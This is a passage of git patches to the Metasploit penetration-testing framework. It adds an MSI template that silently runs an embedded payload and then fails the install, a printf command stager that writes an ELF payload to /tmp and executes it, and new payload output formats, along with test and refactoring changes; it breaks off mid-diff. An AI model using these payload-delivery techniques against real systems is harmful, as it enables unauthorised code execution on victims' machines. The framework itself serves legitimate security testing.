previously-generated names. diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 7a00d78c63..0aba4198c2 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -24,6 +24,8 @@ shared_context 'Msf::Util::Exe' do { :format => "loop-vbs", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "asp", :arch => "x86", :file_fp => /ASCII/ }, { :format => "asp", :arch => "x86_64", :file_fp => /ASCII/ }, + { :format => "aspx-exe", :arch => "x86", :file_fp => /ASCII/ }, + { :format => "aspx-exe", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "aspx", :arch => "x86", :file_fp => /ASCII/ }, { :format => "aspx", :arch => "x86_64", :file_fp => /ASCII/ }, { :format => "vba", :arch => "x86", :file_fp => /ASCII/ }, From 3dd75db584768a6de9265d552e1235c74db7d7e2 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Fri, 20 Sep 2013 17:20:42 +0100 Subject: [PATCH 036/210] Address feedback --- lib/msf/util/exe.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 32bc1c1361..a3b014f52e 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -57,10 +57,6 @@ require 'msf/core/exe/segment_injector' end end - def self.rig_read_replace_script_template(filename, rig) - read_replace_script_template(filename, rig.to_h) - end - def self.read_replace_script_template(filename, hash_sub) template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) @@ -837,7 +833,7 @@ def self.to_vba(framework,code,opts={}) rig.init_var(:var_bytearray) hash_sub = rig.to_h - hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig.init_var(:var_bytearray)) + hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray]) return read_replace_script_template("to_mem.aspx.template", hash_sub) end From 1bd1c3587d520e9c227c823154ea2b9403d2ad83 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 21 Sep 2013 12:47:58 +0100 Subject: [PATCH 037/210] No UAC prompt MSI --- .../src/msi/template_nouac_windows.wxs | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 data/templates/src/msi/template_nouac_windows.wxs diff --git a/data/templates/src/msi/template_nouac_windows.wxs b/data/templates/src/msi/template_nouac_windows.wxs new file mode 100644 index 0000000000..7d9c8f1ce8 --- /dev/null +++ b/data/templates/src/msi/template_nouac_windows.wxs @@ -0,0 +1,38 @@ +<?xml version='1.0' encoding='windows-1252'?> +<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'> + <Product Name='Foobar 1.0' Id='*' + Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'> + + <Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" InstallPrivileges="limited" /> + + <Media Id='1' /> + + <Directory Id='TARGETDIR' Name='SourceDir'> + <Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'> + <Condition>0</Condition> + </Component> + </Directory> + + <!-- Ensure buffer file is large enough to handle the PE you are inserting --> + <Binary Id='Payload' SourceFile='buffer' /> + + <!-- Execute must be deferred and Impersonate no to run as a higher privilege level --> + <CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='yes' Execute='deferred' ExeCommand='' Return='asyncNoWait'/> + <!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required --> + <CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction> + + <Feature Id='Complete' Level='1'> + <ComponentRef Id='MyComponent' /> + </Feature> + + <!-- Define ALLUSERS with a blank value --> + <Property Id="ALLUSERS" Secure="yes"/> + + <InstallExecuteSequence> + <ResolveSource After="CostInitialize" /> + <Custom Action="ExecPayload" After="InstallInitialize" /> + <Custom Action="FailInstallation" Before="InstallFiles" /> + </InstallExecuteSequence> + + </Product> +</Wix> From 695fdf836c3fd14adca715e911a8b4023a446645 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 21 Sep 2013 13:13:18 +0100 Subject: [PATCH 038/210] Generate NonUAC MSIs --- lib/msf/core/exploit/exe.rb | 8 ++++--- lib/msf/util/exe.rb | 22 ++++++++++++++++---- spec/support/shared/contexts/msf/util/exe.rb | 3 +++ 3 files changed, 26 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 4c579b76e4..ab8e34eb35 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -19,12 +19,13 @@ module Exploit::EXE OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), + OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), + OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]), + OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]), OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), - OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), - OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]), - OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) + OptBool.new( 'MSI::UAC', [ false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)' ]) ], self.class) end @@ -111,6 +112,7 @@ module Exploit::EXE opts.merge! ({ :msi_template => datastore['MSI::Template'], :msi_template_path => datastore['MSI::Path'], + :uac => datastore['MSI:UAC'] }) msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 640659558c..a90c9ada8d 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -26,7 +26,7 @@ require 'msf/core/exe/segment_injector' def self.set_template_default(opts, exe = nil, path = nil) # If no path specified, use the default one. - path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") + path ||= File.join(Msf::Config.data_directory, "templates") # If there's no default name, we must blow it up. if not exe @@ -493,12 +493,16 @@ require 'msf/core/exe/segment_injector' # .msi file for auto execution when run # def self.to_exe_msi(framework, exe, opts={}) - opts[:msi_template] ||= "template_windows.msi" + if opts[:uac] + opts[:msi_template] ||= "template_nouac_windows.msi" + else + opts[:msi_template] ||= "template_windows.msi" + end return replace_msi_buffer(exe, opts) end def self.replace_msi_buffer(pe, opts) - opts[:msi_template_path] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") + opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates") if opts[:msi_template].include?(File::SEPARATOR) template = opts[:msi_template] @@ -1632,6 +1636,16 @@ def self.to_vba(framework,code,opts={}) end output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) + when 'msi-nouac' + case arch + when ARCH_X86,nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 + exe = to_win64pe(framework, code, exeopts) + end + exeopts[:uac] = true + output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) + when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) output = case arch @@ -1697,7 +1711,7 @@ def self.to_vba(framework,code,opts={}) def self.to_executable_fmt_formats [ 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', - 'vbs','loop-vbs','asp','aspx','war','psh','psh-net','msi' + 'vbs','loop-vbs','asp','aspx','war','psh','psh-net','msi', 'msi-nouac' ] end diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 632793881b..d16d0c3602 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -39,6 +39,9 @@ shared_context 'Msf::Util::Exe' do { :format => "msi", :arch => "x86", :file_fp => /Composite Document/ }, { :format => "msi", :arch => "x64", :file_fp => /Composite Document/ }, { :format => "msi", :arch => "x86_64", :file_fp => /Composite Document/ }, + { :format => "msi-nouac", :arch => "x86", :file_fp => /Composite Document/ }, + { :format => "msi-nouac", :arch => "x64", :file_fp => /Composite Document/ }, + { :format => "msi-nouac", :arch => "x86_64", :file_fp => /Composite Document/ }, ], "linux" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, From 079eec0aea04edb1783d00299eb81463cd918e70 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 21 Sep 2013 13:14:01 +0100 Subject: [PATCH 039/210] Compile.bat and gitignore --- data/templates/src/msi/.gitignore | 3 +++ data/templates/src/msi/compile.bat | 18 ++++++++++++++++++ 2 files changed, 21 insertions(+) create mode 100644 data/templates/src/msi/.gitignore create mode 100644 data/templates/src/msi/compile.bat diff --git a/data/templates/src/msi/.gitignore b/data/templates/src/msi/.gitignore new file mode 100644 index 0000000000..f0e6d7ce53 --- /dev/null +++ b/data/templates/src/msi/.gitignore @@ -0,0 +1,3 @@ +*.msi +*.wixobj +*.wixpdb \ No newline at end of file diff --git a/data/templates/src/msi/compile.bat b/data/templates/src/msi/compile.bat new file mode 100644 index 0000000000..2e0ffc8f07 --- /dev/null +++ b/data/templates/src/msi/compile.bat @@ -0,0 +1,18 @@ +@echo off +REM Set PATH to location of your WiX binaries +SET PATH=%PATH%;c:\tools\local\wix38-binaries\ +@echo on + +candle template_windows.wxs +light template_windows.wixobj +copy template_windows.msi ..\..\template_windows.msi +del template_windows.msi +del template_windows.wixobj +del template_windows.wixpdb + +candle template_nouac_windows.wxs +light template_nouac_windows.wixobj +copy template_nouac_windows.msi ..\..\template_nouac_windows.msi +del template_nouac_windows.msi +del template_nouac_windows.wixobj +del template_nouac_windows.wixpdb \ No newline at end of file From 9353929945a3d70c39f3e49a8be2af3958294cff Mon Sep 17 00:00:00 2001 From: Markus Wulftange <markus.wulftange@gmail.com> Date: Mon, 23 Sep 2013 22:02:29 +0200 Subject: [PATCH 040/210] Add CmdStagerPrintf --- lib/msf/core/exploit/cmdstager_printf.rb | 25 +++++ lib/msf/core/exploit/mixins.rb | 1 + lib/rex/exploitation/cmdstager.rb | 1 + lib/rex/exploitation/cmdstager/printf.rb | 117 +++++++++++++++++++++++ 4 files changed, 144 insertions(+) create mode 100755 lib/msf/core/exploit/cmdstager_printf.rb create mode 100755 lib/rex/exploitation/cmdstager/printf.rb diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb new file mode 100755 index 0000000000..d3749d3f42 --- /dev/null +++ b/lib/msf/core/exploit/cmdstager_printf.rb @@ -0,0 +1,25 @@ +require 'msf/core/exploit/cmdstager' + +module Msf + +#### +# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf. +# +# This stager uses a POSIX-conformant printf, that supports the interpretation +# of octal escapes, to drop an ELF with the payload embedded to disk. +#### + +module Exploit::CmdStagerPrintf + + include Msf::Exploit::CmdStager + + # Initializes a CmdStagerPrintf instance for the supplied payload + # + # @param exe [String] The payload embedded into an ELF + # @return [Rex::Exploitation::CmdStagerPrintf] Stager instance + def create_stager(exe) + Rex::Exploitation::CmdStagerPrintf.new(exe) + end +end + +end \ No newline at end of file diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 810f87492e..b1dd01add0 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -26,6 +26,7 @@ require 'msf/core/exploit/cmdstager_debug_asm' require 'msf/core/exploit/cmdstager_tftp' require 'msf/core/exploit/cmdstager_bourne' require 'msf/core/exploit/cmdstager_echo' +require 'msf/core/exploit/cmdstager_printf' # Protocol require 'msf/core/exploit/tcp' diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 79609ea14f..3db60c1f37 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -7,3 +7,4 @@ require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' require 'rex/exploitation/cmdstager/bourne' require 'rex/exploitation/cmdstager/echo' +require 'rex/exploitation/cmdstager/printf' diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb new file mode 100755 index 0000000000..8ef52b4025 --- /dev/null +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -0,0 +1,117 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' +require 'shellwords' + +module Rex +module Exploitation + +class CmdStagerPrintf < CmdStagerBase + + def initialize(exe) + super + + @var_elf = Rex::Text.rand_text_alpha(5) + end + + # + # Override to ensure opts[:temp] is a correct *nix path + # + def generate(opts = {}) + opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp].gsub!(/\\/, '/') + opts[:temp] = opts[:temp].shellescape + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + super + end + + # + # Override to set the extra byte count + # + def generate_cmds(opts) + @cmd_start = "printf '" + @cmd_end = "'>>#{@tempdir}#{@var_elf}" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + # + # Encode into a "\12\345" octal format that printf understands + # + def encode_payload(opts) + encoded = @exe.dup + + # encode only necessary characters with octal escapes + # see Shellwords::shellescape for pattern reference + encoded.gsub!(/[^A-Za-z0-9_\-.,:\/@]/) { |match| + Rex::Text.to_octal(match[0]) + } + + # remove leading '0's from an octal escape only if it is not followed by + # another digit, e. g., '\012a' -> '\12a' but not '\0123' -> '\123' + encoded.gsub!(/\\(?:00([0-9])|0([1-9][0-9]))(?![0-9])/, '\\\\\\1\\2') + + return encoded + end + + # + # Override it to ensure that the octal representation of a byte isn't cut + # + def slice_up_payload(encoded, opts) + tmp = encoded.dup + + parts = [] + xtra_len = opts[:extra] + xtra_len ||= 0 + while (tmp.length > 0) + part = tmp.slice(0, (opts[:linemax] - xtra_len)) + + # remove the last octal escape if it may be imcomplete + pos = part[-4, 4].index('\\') + part.slice!(0, part.length - 4 + pos) if pos > 0 + + parts << part + tmp.slice!(0, part.length) + end + + parts + end + + # + # Combine the parts of the encoded file with the stuff that goes + # before and after it. + # + def parts_to_commands(parts, opts) + parts.map do |p| + @cmd_start + p + @cmd_end + end + end + + # + # Since the binary has been already dropped to disk, just execute and + # delete it + # + def generate_cmds_decoder(opts) + cmds = [] + # Make it all happen + cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "#{@tempdir}#{@var_elf}" + + # Clean up after unless requested not to.. + unless opts[:nodelete] + cmds << "rm -f #{@tempdir}#{@var_elf}" + end + + return cmds + end + + def cmd_concat_operator + " ; " + end + +end +end +end From 10252ca6f4a640c0a379928c179f8301123b2f8d Mon Sep 17 00:00:00 2001 From: Markus Wulftange <markus.wulftange@gmail.com> Date: Mon, 23 Sep 2013 23:03:38 +0200 Subject: [PATCH 041/210] Just Rex::Text.to_octal is probably better --- lib/rex/exploitation/cmdstager/printf.rb | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index 8ef52b4025..9ff26e23b6 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -42,19 +42,7 @@ class CmdStagerPrintf < CmdStagerBase # Encode into a "\12\345" octal format that printf understands # def encode_payload(opts) - encoded = @exe.dup - - # encode only necessary characters with octal escapes - # see Shellwords::shellescape for pattern reference - encoded.gsub!(/[^A-Za-z0-9_\-.,:\/@]/) { |match| - Rex::Text.to_octal(match[0]) - } - - # remove leading '0's from an octal escape only if it is not followed by - # another digit, e. g., '\012a' -> '\12a' but not '\0123' -> '\123' - encoded.gsub!(/\\(?:00([0-9])|0([1-9][0-9]))(?![0-9])/, '\\\\\\1\\2') - - return encoded + return Rex::Text.to_octal(@exe, "\\") end # From 487f68f4d2ca4b75781496eaa95d91b21d30e0bf Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 23 Sep 2013 19:36:26 -0500 Subject: [PATCH 042/210] Get rid of callcc [SeeRM 8407] --- lib/rex/sync/event.rb | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) diff --git a/lib/rex/sync/event.rb b/lib/rex/sync/event.rb index 23ce71820a..c71aed36a0 100644 --- a/lib/rex/sync/event.rb +++ b/lib/rex/sync/event.rb @@ -61,22 +61,12 @@ class Event # Waits for the event to become signaled. Timeout is measured in # seconds. Raises TimeoutError if the condition does not become signaled. # - - begin - # XXX: we need to replace this code - # continuations slow down YARV - require "continuation" if not defined? callcc - rescue ::LoadError - end - def wait(t = Infinite) - callcc { |ctx| - self.mutex.synchronize { - ctx.call if (self.state == true) + self.mutex.synchronize { + break if (self.state == true) - Timeout.timeout(t) { - self.cond.wait(self.mutex) - } + Timeout.timeout(t) { + self.cond.wait(self.mutex) } } From 3d2800328556960bee80a77f22b295abed3d6b67 Mon Sep 17 00:00:00 2001 From: FireFart <FireFart@gmail.com> Date: Wed, 25 Sep 2013 22:56:13 +0200 Subject: [PATCH 043/210] updated get_cookies rspecs --- spec/lib/rex/proto/http/response_spec.rb | 108 ++++++++++++++++++----- 1 file changed, 85 insertions(+), 23 deletions(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index ce63b028dd..e8fa73980f 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -82,31 +82,93 @@ Content-Type: text/html; charset=utf-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' +get_cookies_test_5 =' +HTTP/1.1 200 OK +Date: Wed, 25 Sep 2013 20:29:23 GMT +Server: Apache/2.2.22 (Ubuntu) +X-Powered-By: PHP/5.4.9-4ubuntu2.2 +Expires: Wed, 11 Jan 1984 05:00:00 GMT +Last-Modified: Wed, 25 Sep 2013 20:29:23 GMT +Cache-Control: no-cache, must-revalidate, max-age=0 +Pragma: no-cache +Set-Cookie: wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin; path=/wordpress-2.0/, wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3; path=/wordpress-2.0/ +Vary: Accept-Encoding +Content-Length: 0 +Content-Type: text/html; charset=UTF-8 + +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" +"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' + describe Rex::Proto::Http::Response do - R = Rex::Proto::Http::Response - it "get_cookies returns empty string for no Set-Cookies" do - resp = R.new() - resp.parse(get_cookies_test_1) - resp.get_cookies.should eq("") - end + R = Rex::Proto::Http::Response + it 'get_cookies returns empty string for no Set-Cookies' do + resp = R.new() + resp.parse(get_cookies_test_1) + resp.get_cookies.should eq('') + end - it "get_cookies returns 5 cookies for test 2" do - resp = R.new() - resp.parse(get_cookies_test_2) - resp.get_cookies.split(';').count.should eq(5) - end + it 'get_cookies returns 5 cookies for test 2' do + resp = R.new() + resp.parse(get_cookies_test_2) + cookies = resp.get_cookies + cookies.should_not be_nil + cookies.should_not be '' + cookies_array = cookies.split(';').map(&:strip) + cookies_array.count.should eq(5) + cookies_array.should =~ %w( + pma_lang=en + pma_collation_connection=utf8_general_ci + pma_mcrypt_iv=mF1NmTE64IY%3D + phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954 + phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue + ) + end - it "get_cookies returns 5 cookies for test 3 and parses full cookie" do - resp = R.new() - resp.parse(get_cookies_test_3) - resp.get_cookies.split(';').count.should eq(5) - resp.get_cookies.include?("superC00kie!=stupidcookie;").should be_true - end + it 'get_cookies returns 5 cookies for test 3 and parses full cookie' do + resp = R.new() + resp.parse(get_cookies_test_3) + cookies = resp.get_cookies + cookies.should_not be_nil + cookies.should_not be '' + cookies_array = cookies.split(';').map(&:strip) + cookies_array.count.should eq(5) + cookies_array.should =~ %w( + pma_lang=en + pma_collation_connection=utf8_general_ci + pma_mcrypt_iv=mF1NmTE64IY%3D + phpMyAdmin=fmilioji5cn4m8bo5vjrrr6q9cada954 + superC00kie!=stupidcookie + ) + end - it "get_cookies returns 5 cookies for test 4 and parses empty value" do - resp = R.new() - resp.parse(get_cookies_test_4) - resp.get_cookies.split(';').count.should eq(5) - resp.get_cookies.include?("phpMyAdmin=;").should be_true - end + it 'get_cookies returns 5 cookies for test 4 and parses empty value' do + resp = R.new() + resp.parse(get_cookies_test_4) + cookies = resp.get_cookies + cookies.should_not be_nil + cookies.should_not be '' + cookies_array = cookies.split(';').map(&:strip) + cookies_array.count.should eq(5) + cookies_array.should =~ %w( + pma_lang=en + pma_collation_connection=utf8_general_ci + pma_mcrypt_iv=mF1NmTE64IY%3D + phpMyAdmin= + phpMyAdmin=gpjif0gtpqbvfion91ddtrq8p8vgjtue + ) + end + + it 'parses multiple cookies in one Set-Cookie header correctly' do + resp = R.new() + resp.parse(get_cookies_test_5) + cookies = resp.get_cookies + cookies.should_not be_nil + cookies.should_not be '' + cookies_array = cookies.split(';').map(&:strip) + cookies_array.count.should eq(2) + cookies_array.should =~ %w( + wordpressuser_a97c5267613d6de70e821ff82dd1ab94=admin + wordpresspass_a97c5267613d6de70e821ff82dd1ab94=c3284d0f94606de1fd2af172aba15bf3 + ) + end end From 84ec2cbf11e6434d1b66bb2dc8e654a8d5fea508 Mon Sep 17 00:00:00 2001 From: FireFart <FireFart@gmail.com> Date: Wed, 25 Sep 2013 23:42:44 +0200 Subject: [PATCH 044/210] remove peer methods since it is already defined in Msf::Exploit::Remote::HttpClient --- .../auxiliary/dos/http/novell_file_reporter_heap_bof.rb | 4 ---- modules/auxiliary/gather/coldfusion_pwd_props.rb | 4 ---- modules/auxiliary/gather/eaton_nsm_creds.rb | 4 ---- modules/auxiliary/gather/hp_snac_domain_creds.rb | 4 ---- modules/auxiliary/scanner/http/concrete5_member_list.rb | 4 ---- modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb | 5 ----- modules/auxiliary/scanner/http/joomla_pages.rb | 4 ---- modules/auxiliary/scanner/http/joomla_plugins.rb | 4 ---- modules/auxiliary/scanner/http/joomla_version.rb | 4 ---- .../auxiliary/scanner/http/mediawiki_svg_fileaccess.rb | 8 -------- .../scanner/http/novell_file_reporter_fsfui_fileaccess.rb | 8 -------- .../scanner/http/novell_file_reporter_srs_fileaccess.rb | 8 -------- modules/auxiliary/scanner/http/ntlm_info_enumeration.rb | 4 ---- .../auxiliary/scanner/http/symantec_brightmail_logfile.rb | 6 ------ modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 6 ------ modules/exploits/multi/http/mutiny_subnetmask_exec.rb | 4 ---- modules/exploits/unix/webapp/arkeia_upload_exec.rb | 4 ---- modules/exploits/unix/webapp/havalite_upload_exec.rb | 6 ------ modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 4 ---- modules/exploits/unix/webapp/libretto_upload_exec.rb | 6 ------ modules/exploits/unix/webapp/narcissus_backend_exec.rb | 4 ---- .../exploits/unix/webapp/openemr_sqli_privesc_upload.rb | 4 ---- modules/exploits/unix/webapp/zeroshell_exec.rb | 4 ---- modules/exploits/unix/webapp/zpanel_username_exec.rb | 6 ------ modules/exploits/windows/http/hp_mpa_job_acct.rb | 4 ---- .../windows/http/hp_pcm_snac_update_certificates.rb | 4 ---- .../exploits/windows/http/hp_pcm_snac_update_domain.rb | 4 ---- modules/exploits/windows/http/miniweb_upload_wbem.rb | 4 ---- modules/exploits/windows/http/novell_mdm_lfi.rb | 4 ---- modules/exploits/windows/http/oracle_endeca_exec.rb | 4 ---- .../exploits/windows/novell/file_reporter_fsfui_upload.rb | 4 ---- 31 files changed, 147 deletions(-) diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index c644b3efd4..7cd8a3e1af 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -42,10 +42,6 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] end - def peer - "#{rhost}:#{rport}" - end - def run record = "<RECORD>" record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index 805b3a90ee..759339d7be 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -50,10 +50,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{datastore['RHOST']}:#{datastore['RPORT']}" - end - def fingerprint(response) if(response.headers.has_key?('Server') ) diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index cfc720ed67..5ff39e7e1f 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -41,10 +41,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def execute_php_code(code, opts = {}) param_name = Rex::Text.rand_text_alpha(6) padding = Rex::Text.rand_text_alpha(6) diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 7b885b7da6..38bca130cf 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -47,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def get_domain_info(session) res = send_request_cgi({ 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index 8395d7855c..aa209ca6bb 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def peer - "#{rhost}:#{rport}" - end - def run_host(rhost) url = normalize_uri(datastore['URI'], '/index.php/members') diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 7cf364efb2..59b845a21e 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -37,11 +37,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - def anonymous_access? res = send_request_raw({'uri' => '/'}) return true if res and res.body =~ /username = "hpsmh_anonymous"/ diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb index 9bbedcb9c5..3f35411782 100644 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -29,10 +29,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def run_host(ip) tpath = normalize_uri(target_uri.path) if tpath[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb index 4badac907b..e17ba73800 100644 --- a/modules/auxiliary/scanner/http/joomla_plugins.rb +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -31,10 +31,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def run_host(ip) tpath = normalize_uri(target_uri.path) if tpath[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index d00ed2b3be..39c9568e54 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -30,10 +30,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def os_fingerprint(response) if not response.headers.has_key?('Server') return "Unkown OS (No Server Header)" diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index 5d08288810..a31cb0e93b 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -56,14 +56,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - - def peer(rhost) - "#{rhost}:#{rport}" - end - def get_first_session res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "index.php"), diff --git 